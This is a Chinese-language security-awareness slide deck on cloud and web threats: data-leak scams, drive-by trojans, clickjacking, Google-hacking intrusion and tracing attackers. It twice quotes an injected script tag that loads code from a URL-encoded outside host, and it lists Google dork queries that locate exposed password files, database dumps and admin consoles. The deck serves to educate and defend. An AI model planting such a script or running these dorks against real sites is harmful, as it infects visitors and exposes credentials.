
漫步雲端    危機四起 
雲端下的安全問題 

個資在哪？資訊漏洞與攻擊就在哪？ 

Benny 



大綱 

• 漫步雲端應用 ~ 無紙化作業 
• 雲端互動安全問題(系統面&人際互動) 

• 系統面安全問題 – 系統平台功能應用 

• 人際互動安全問題 – 社交工程手法 

• 系統入侵實錄 
• 隨時動動手指即拿下網站 (滑鼠版 & 手機版) 

• 躲貓貓入侵攻擊(行動設備) 

• 如何追蹤入侵來源 
• 駭客留下什麼蛛絲馬跡 

• 利用網路人肉搜尋  



駭客 哇! 哇! 哇! 

各位看官 
來看看@@ 

這幾個新聞案例!! 





原來是個人資料外洩惹的禍 

 「XX先生嗎？我這裡是北區國稅局，你有一筆退稅款
沒有辦法匯進您的銀行帳戶，我現在跟您核對一下，
是不是123-45-6789012-3？」「沒錯。」「那可能
要麻煩您到提款機用提款卡接受轉帳喔！」 

 「XX先生嗎？你讀XX國小的兒子還沒有回家吧！如
果想要你兒子平安回家的話，立即匯一百萬到下面這
個帳戶。」 

 電話詐欺、提款機轉帳的詐騙活動頻繁，終於在警方
破獲大型個人資料販賣集團而獲得解答。為什麼歹徒
會知道我們的姓名、電話、銀行帳號？夾雜著半真半
假的資訊，正是民眾不斷上當的主要原因。這一切，
都是個人資料外洩惹的禍！ 





^^” 
要填寫的資料也太多

了吧!! 



SQL 

Injection 

XSS攻擊 

網馬 

攻擊 

暴力破解 

駭客 

官方網站漏洞 

網頁置換 

跳板主機 

機密竊取 

個資洩漏 

網站可能受到這些攻擊！ 



使用者 
個資 

網站 
伺服器 

Botnet 
駭客 

Benny 

被植入後門程式側錄
密碼 

被當成散播木馬平台 殭屍主機!! 
(駭客分身術) 



駭客攻擊手法 

 將伺服器以及內部使用者電腦直接連接上網際
網路，駭客可以直接透過網際網路連接內部使
用作業系統電腦或者伺服器服務電腦進行入侵
行為，侵入電腦主機進而取得機密資料。 
 

 允許伺服器可以往內部網路連線，駭客可以透
過入侵伺服器主機當成跳板，來入侵內部網路
使用者的電腦主機 進而取得機密資料。 



傳統網路入侵手法 

Internet

駭客 

網站伺服器 資料庫 檔案伺候器 

DMZ 

使用者 

無防護使用者端 



目前網路架構 

 為了避免駭客入侵內部主機，現在的企業都會
使用防火牆或相關安全防護設備，來保護伺服
器及內部使用者電腦。 

 

 這些防護設備會阻擋駭客連線到內部主機的攻
擊行為，因此駭客無法直接攻擊使用者電腦。 



現今駭客入侵手法 

Internet

駭客 

網站伺服器 資料庫 檔案伺候器 

DMZ 

使用者 

防護設備 

防火牆 

防火牆 



常見上網行為 

駭客入侵之我愛網購篇 

 

駭客入侵之我愛交友篇 

 

駭客入侵之我愛聊天篇 

我愛網購.htm
我愛交友.htm
我愛聊天.htm


中木馬- 天知 地知 就是我不知 

使用者點選網馬過程完全沒有感覺!!即受駭下載木馬 

使用者 

Internet

F/W 

資料庫 網站伺服器 檔案 

駭客 

Port:80 

瀏覽資訊、網拍 
登入帳號 

找尋漏洞、入侵 
掛馬 

 <script src= http://%77%76%67%33%2E%63%6E></script> 



躲在正常網站後的惡網站 



小心被駭!7成合法網站有毒 

上合法網站未必安全 

小心電腦中毒、個人資料外流 

美妝、食品、醫院、學校網站無一倖
免 

瀏覽即下載 

只是看網站也讓你掛馬 

Blog成為駭客跳板的天堂。 

 
 



瀏覽網站 
那麼容易中毒嗎?? 



注意事項 

不要輕易按下同意與接受的按鈕 
 絕對不按 [同意] 或 [確定] 按鈕來關閉視窗， 務必使
用視窗角落的紅色 [X] 按鈕 

 



 
我們發現被人騙已
經很慘了，還被
電腦騙！！ 





雲端互動安全問題 



貢 

獻 網路社群 

影片分享 

相簿分享 

分享網誌 Blog 

貢 

獻 

互動 

互動 

互動 

雲端架構 



新聞時事 
• News 

 

 

 

 





Google 網頁搜尋記錄 

到處都有留記錄~~~還真
是凡走過必留下痕跡!! 



貢 

獻 

網路社群 分享平台 

貢 

獻 
互動 

互動 

漫步雲端    危機四起 

使用者點選過程完全沒有感覺!!即受駭下載木馬 

 <script src= http://%77%76%67%33%2E%63%6E></script> 



雲端平台網站延伸安全問題 

網站提供平台讓使用免費使用，是基於互信基楚
上。 
但現今網路世界充滿道德危機？(入侵別人Blog偷
竊私密照) 。 
網路上人與人互容易，可大大提高網站的應用，
但網路環境確實是有誘引或放大某些不道德行為
的現象。 



 網路是真實世界的借鏡，很多不敢在真實世界
發生行為，因為網路的虛幻進行延伸出社會問
題。 

 譬如在網路上會出現極端不禮貌、偏激、仇視、
歧視、以及反社會的語言。 

 使用者在日常生活並不會顯示出這些，透過網
路可匿名性的緣故進行心情上的發洩。 

 語言惡質現象、無罪惡感偷竊行為、責任逃離
行為(上班購物、IM聊天)… 

雲端平台網站延伸安全問題(續) 



 網路上取得的資訊有一些是不合法例如各種非
經授權的音樂、圖片、影片、軟體等。 

 缺乏道德感？ 

 駭客入侵偷取？ 

 還是因為所有的人都做這件事？ 

雲端平台網站延伸安全問題(續) 



雲端平台延伸互動系統面安全問題 

• 01 AJAX 跨網站攻擊 (Cross-site scripting in AJAX) 

• 02 XML 阻礙 (XML poisoning) 

• 03 AJAX 惡意執行碼 (Malicious AJAX code execution) 

• 04 RSS／Atom 隱碼攻擊 (RSS/ Atom injection) 

• 05 WSDL 之掃瞄與列舉功能 (WSDL scanning and enumeration) 

• 06 AJAX 路徑之客戶端驗證 (Client side validation in AJAX routines) 

• 07 網頁服務路徑議題 (Web services routing issues) 

• 08 SOAP 參數竄改 (Parameter manipulation with SOAP) 

• 09 SOAP 訊息之 XPATH 隱碼攻擊 (XPATH injection in SOAP message) 

• 10 竄改 RIA 客戶端程式碼 (RIA thick client binary manipulation) 



當我們宅在一起!! 



宅並不是封閉沒有人脈!! 

網路也可以有虛擬人脈!! 

 



社交網路平台 

(FaceBook) 







Facebook_ClickJacking 

(聲東擊西 ~~ 看馬非馬) 

Demo 



聲東擊西 似真非真的
ClickJacking連結(範例) 









滑鼠點一點電腦中木馬 
1.看網站中木馬 
2.看郵件中木馬 

Demo 



系統入侵實錄 



系統入侵實務-滑鼠版  

 入侵環境條件： 

 網站同意Google機器人造訪你的網站!! 

 主機檔案及目錄設定不良 

 



Google入侵拓撲圖 

Google入侵與滲透 

網
站
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Hack搜尋 Google應用 自動化工具 

athena 

sitedigger 

gooscan 

備份文件 錯誤訊息 

管理介面 

系統資訊 

密碼文件 

設定檔案 



網路危險多 
人肉搜尋可找出做多機密 



基本語法與關鍵字 

 site: (搜尋特定網址) 

 inurl: (搜尋特定連結) 

 intext: (搜尋網頁內文字) 

 intitle: (搜尋網頁標題) 

 filetype: (搜尋特定檔案格式) 

 link: (搜尋互相連結的網頁) 

 “index of“ (搜尋開放目錄瀏覽) 

 cache: (顯示網頁在google中的暫存資料) 



進階語法與關鍵字 

 "access denied for user" "using password“ 
 "Index of /backup“ 
 allinurl: admin mdb 
 inurl:passlist.txt 
 " -FrontPage-" ext:pwd inurl:(service | authors | 
 administrators | users) 
 "ASP.NET_SessionId" "data source=“ 
 "AutoCreate=TRUE password=*“ 
 "Index of /" +password.txt 
 "Index of /password“ 
 "mysql dump" filetype:sql 
 "pcANYWHERE EXPRESS Java Client“ 
 "VNC Desktop" inurl:5800 
 "phpMyAdmin MySQL-Dump" "INSERT INTO" -"the“ 
 "phpMyAdminMySQL-Dump" filetype:txt 
 "phpMyAdmin" "running on" inurl:"main.php“ 
 "robots.txt" "Disallow:" filetype:txt 
 intitle:"Remote Desktop Web Connection" inurl:tsweb 
 intitle:"Welcome to Windows 2000 Internet Services“ 
 inurl:"printer/main.html" intext:"settings“ 
 intitle:index.of administrators.pwd 















利用網路人肉搜尋 

• 誠 

 

 

利用到處都有留記錄搜尋蛛絲
馬跡!! 



隨手可得的資料 



 
Google 實務應用 

1.滑鼠點擊入侵 
2.進階變化入侵 

Demo 







系統入侵實務 --躲貓貓入侵攻擊 

•躲貓貓入侵攻擊(行動設備) 入侵流程圖 

•目前阻擋難度高又不異追蹤 

•目前阻擋設備的方式 

•行動設備功能上限制 
 

 

 



Hack Hack 

行動式設備入侵流程圖 

利用一般常見入侵手法(SQL Injection、
弱密碼等) 



 
系統入侵實務 - 手機版 

Demo 



行動式設備入侵伺服器 



如何追蹤入侵來源 



駭客留下什麼蛛絲馬跡 

•簡易檢測電腦手法 

•輕鬆判斷是否中毒 

•收集系統記錄檔 

•主機記錄檔分析追蹤 
 

 

 



利用網路人肉搜尋 

• 誠 

 

 

利用到處都有留記錄搜尋蛛絲
馬跡!! 



資料拼圖手法(範例) 



結論 
 網路處處是陷井小心處處有駭客存在網路上，不要
輕易相信網路上提供資訊，請勿瀏覽看似好康資料
的下載網站。 

 網路平台處處都會留下使用者個人資訊及使用者記
錄，凡不必要的資料勿留於網際網路上，千萬不要
相信重要資料設有密碼就是安全不會造成資料外洩 

 凡走過必留下足跡，可以透過一些簡檢測電腦輕鬆
判斷是否中毒，並可收集系統記錄檔分析追蹤入侵
駭客或是惡意使用者，並可以結合搜尋引擎功能找
出惡意使用者相關資訊。 

 
 

 

 




